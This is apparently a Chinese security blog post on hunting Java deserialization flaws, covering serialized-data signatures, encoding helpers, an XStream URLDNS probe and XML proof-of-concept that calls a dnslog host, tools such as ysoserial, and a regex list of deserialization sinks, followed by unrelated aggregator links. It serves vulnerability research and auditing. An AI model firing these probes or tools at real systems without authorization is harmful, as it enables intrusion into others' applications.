java反序列化漏洞专项
背景条件:java的框架,java的应用程序,使用序列化,反序列化操作非常多。在漏洞挖掘中,代码审计中,安全研究中,反序列化漏洞是个重点项,不可忽视。尤其是java应用程序的rce,10个里面有7个是因为反序列化导致的rce漏洞。
关于危害:漏洞挖掘中,一旦挖到反序列化漏洞,一般造成的风险极大。这里不对危害做过多描述。
花了几天时间,二次研究了下反序列化漏洞,发现反序列化漏洞不仅在白盒中使用广泛,在黑盒中,也有应用场景,对应的诞生了一些黑盒fuzz的技巧。
经过大量的阅读文献和调研, 我发现有些复杂的漏洞黑盒fuzz效率高于白盒代码审计。比较合理且全面的的一次测试是:黑盒+白盒结合
序列化含义:
1.冻结操作,对象封装成字符串 2.保存的是值和数据类型 3.将数据对象转换为字节流 4.将数据对象转换成任意格式,如字节流
反序列化含义:
1.解冻操作,数据恢复成对象,将字节流转换为数据 2.将xml,json格式的字节流数据转换回网络对象,数据对象等
java序列化数据特征分析:
aced 0005 : .*sr.*
base64前缀固定特征:rO0

zip格式特征:PK*

zip+base64编码数据123特征 UE*:
public static String zipString(String primStr) {
if (primStr == null || primStr.length() == 0) {
return primStr;
}
ByteArrayOutputStream out = null;
ZipOutputStream zout = null;
try {
out = new ByteArrayOutputStream();
zout = new ZipOutputStream(out);
zout.putNextEntry(new ZipEntry("0"));
zout.write(primStr.getBytes("utf-8"));
zout.closeEntry();
return new BASE64Encoder().encode(out.toByteArray());
} catch (IOException e) {
return null;
} finally {
if (zout != null) {
try {
zout.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}

zip+base64编码数据123解码:
public static final String unzipString(String compressedStr) {
if (compressedStr == null) {
return null;
}
ByteArrayOutputStream out = null;
ByteArrayInputStream in = null;
ZipInputStream zin = null;
String decompressed = null;
try {
byte[] compressed = new BASE64Decoder().decodeBuffer(compressedStr);
out = new ByteArrayOutputStream();
in = new ByteArrayInputStream(compressed);
zin = new ZipInputStream(in);
zin.getNextEntry();
byte[] buffer = new byte[1024];
int offset = -1;
while ((offset = zin.read(buffer)) != -1) {
out.write(buffer, 0, offset);
}
decompressed = out.toString("utf-8");
} catch (IOException e) {
decompressed = null;
} finally {
if (zin != null) {
try {
zin.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (in != null) {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (out != null) {
try {
out.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
return decompressed;
解码:

gzip base64数据特征:H4s开头的为gzip+base64

gzip+base64数据解码:
echo 'H4sIAHG+vmIAAzM0MuYCAAj9gloEAAAA' | base64 -d | gzip -dv

java反序列化黑盒实战案例
黑盒测试1:常规的:fastjson/shiro/jackson/jdbc,网上exp,分析报告满天飞 src/众测多为这种漏洞 外加log4j2
黑盒测试2: yaml反序列化rce黑盒测试案例,特地找的案例,写的很详细:https://github.com/EdgeGallery/developer-be/issues/1
⿊盒测试3:xstream 反序列化 黑盒的时候具有参考性,可行性:https://cangqingzhe.github.io/2021/05/15/泛微Xstream反序列化漏洞分析/
单独对xml的反序列化漏洞说明:
使用urldns探测,黑盒也尽量这样搞,用urldns! 先urldns探测,找尝试找利用链!:
public class demo1 {
public static void main(String[] args) throws MalformedURLException {
XStream xStream =new XStream();
String url="http://9ofptp.dnslog.cn/";
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url);
//xml序列化
String s = xStream.toXML(ht);
System.out.println(s);
//xml反序列化
xStream.fromXML(s);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
输出:
<map>
<entry>
<url>http://9ofptp.dnslog.cn/</url>
<string>http://9ofptp.dnslog.cn/</string>
</entry>
</map> Process finished with exit code 0
反序列化的时候触发:

黑盒测试poc:
<map>
<entry>
<url>http://9ofptp.dnslog.cn/</url>
<string>http://9ofptp.dnslog.cn/</string>
</entry>
</map> 此poc优势:特征少
黑盒测试4:基于请求类型测试
黑盒的时候,要注意观察Content-Type
Content-Type: application/x-java-serialized-objec
参考案例,案例写的很详细:https://cloud.tencent.com/developer/article/1653628
黑盒测试5:根据序列化特征识别,然后fuzz
常见案例:jsf viewstate 反序列化漏洞 ,这个大家挖国内遇到的不多,如果挖国外众测多的话,这个会遇到的,本人前几天遇到过一次。
传送门:https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a
java反序列化白盒优秀的学习文章案例:
1.分析fastjson/shiro/jdbc等漏洞,这个不说了,我博客写了很多案例了,网上别人也写了很多!
2.https://cangqingzhe.github.io/2021/05/15/泛微Xstream反序列化漏洞分析/
3.https://xz.aliyun.com/t/8184/
4.https://cloud.tencent.com/developer/article/1653628
5.https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
6.https://ssd-disclosure.com/ssd-advisory-netmotion-mobility-server-multiple-deserialization-of-untrusted-data-lead-to-rce/
后续遇到好的反序列化漏洞挖掘案例,我会继续补充
。。。。。
java反序列化利用工具
(1)ysoserial
ysoserial 是在常见 Java 库中发现的实用程序和面向属性的编程“小工具链”的集合,可以在适当的条件下利用 Java 应用程序执行不安全的对象反序列化。主驱动程序接受用户指定的命令并将其包装在用户指定的小工具链中,然后将这些对象序列化到标准输出。当类路径上具有所需小工具的应用程序不安全地反序列化此数据时,将自动调用链并导致命令在应用程序主机上执行。
(2)marshalsec
https://github.com/mbechler/marshalsec
(3)补充项: python序列化payload⽣成器 偶然看到 具备黑盒价值,可以说涉及到yaml的都具备黑盒价值:
⽀持格式:json,yaml和pickle

再次补充:php的yso是phpggc,.net也有一个yso,是pwntester写的。
⼿⼯寻找java反序列化sink:
配合grep/semgrep使用更香哦。以前的文章有写。
.*readObject\(.*
java.beans.XMLDecoder
com.thoughtworks.xstream.XStream
.*\.fromXML\(.*\)
com.esotericsoftware.kryo.io.Input
.readClassAndObject\(.*
.readObjectOrNull\(.*
com.caucho.hessian.io
com.caucho.burlap.io.BurlapInput
com.caucho.burlap.io.BurlapOutput
org.codehaus.castor
Unmarshaller
jsonToJava\(.*
JsonObjectsToJava\/.*
JsonReader
ObjectMapper\(
enableDefaultTyping\(\s*\)
@JsonTypeInfo\(
readValue\(.*\,\s*Object\.class
com.alibaba.fastjson.JSON
JSON.parseObject
com.owlike.genson.Genson
useRuntimeType
genson.deserialize
org.red5.io
deserialize\(.*\,\s*Object\.class
\.Yaml
\.load\(.*
\.loadType\(.*\,\s*Object\.class
YamlReader
com.esotericsoftware.yamlbeans
。。。。。。
参考:https://klezvirus.github.io/Advanced-Web-Hacking/Serialisation/
其他语言序列化,反序列化特征参考:

半自动化寻找反序列化sink:
(1)https://securitylab.github.com/research/insecure-deserialization/
(2)codeql
java反序列化漏洞专项的更多相关文章
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)
10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- java 反序列化漏洞检测及修复
Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...
- Java反序列化漏洞的挖掘、攻击与防御
一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
随机推荐
- UnrealEngine创建自定义资产类型
导语 这篇文章记录了将UObject实例保存在Asset文件的方法,用这个方法可以将自定义的UObject数据序列化保存到文件,可以用于自定义UE资源类型. 创建UObject类 这一步比较简单,按照 ...
- vue3 数据可视化项目
可视化面板介绍 应对现在数据可视化的趋势,越来越多企业需要在很多场景(营销数据,生产数据,用户数据)下使用,可视化图表来展示体现数据,让数据更加直观,数据特点更加突出. 01-使用技术 完成该项目 ...
- 通过命令验证docker容器相当一个轻量级的Linux运行环境,且每个容器内都有一个属于自己的文件系统,容器之间相互隔离
一.docker的三个重要概念 1.镜像:打包项目带上环境,即镜像 Docker镜像是一个特殊的文件系统,除了提供容器运行时所需的程序.库.资源.配置等文件外,还包含了一些为运行时准备的配置参数.镜像 ...
- Linux编译安装-软件
编译源码的项目工具 C.C++的源码编译:使用make项目管理器 configure脚本 --> Makefile.in --> Makefile 相关开发工具: autoconf: 生成 ...
- [题解][P5206][WC2019] 数树 (op = 1)
简要题意 给定 \(n, y\). 一张图有 \(|V| = n\) 个点,现在给出两棵树 \(T_1=G(V, E_1)\) 和 \(T_2=G(V, E_2)\). 定义这两棵树的权值 \(F(E ...
- QT快速入门
QT快速入门 本文档将介绍QT工程的创建.UI界面布局,并以计数器为例了解QT中多线程的用法,最终完成一个基础的QT项目. 1 创建QT工程文件 在安装好QT之后,能够在其安装组件中找到Qt Crea ...
- K8S面试应知必回
目录 面试不要不懂装懂,不会就是不会,不可能每个人都接触过所有的知识! 1. 基础问题 1.1 Service是怎么关联Pod的?(课程Service章节) 1.2 HPA V1 V2的区别 1.3 ...
- MinGW 和 TDM 的问题
目前遇到的一个小问题就是批量声明时的初始化. mingw gcc 9.2:不支持int a,b,c=5; 所得数为a=0 b=0 c=5. 而在TDM gcc 5.1中,可以同时赋值. 第二个问题,T ...
- 重新认识 MSBuild - 1
前言 很多人一谈到 MSBuild,脑子里就会出现 "XML"."只能用 VS 的属性框图形界面操作"."可定制性和扩展性差" 和 &quo ...
- GIT速查手册
一.GIT 1.1 简单配置 git是版本控制系统,与svn不同的是git是分布式,svn是集中式 配置文件位置 # 配置文件 .git/config 当前仓库的配置文件 ~/.gitconfig 全 ...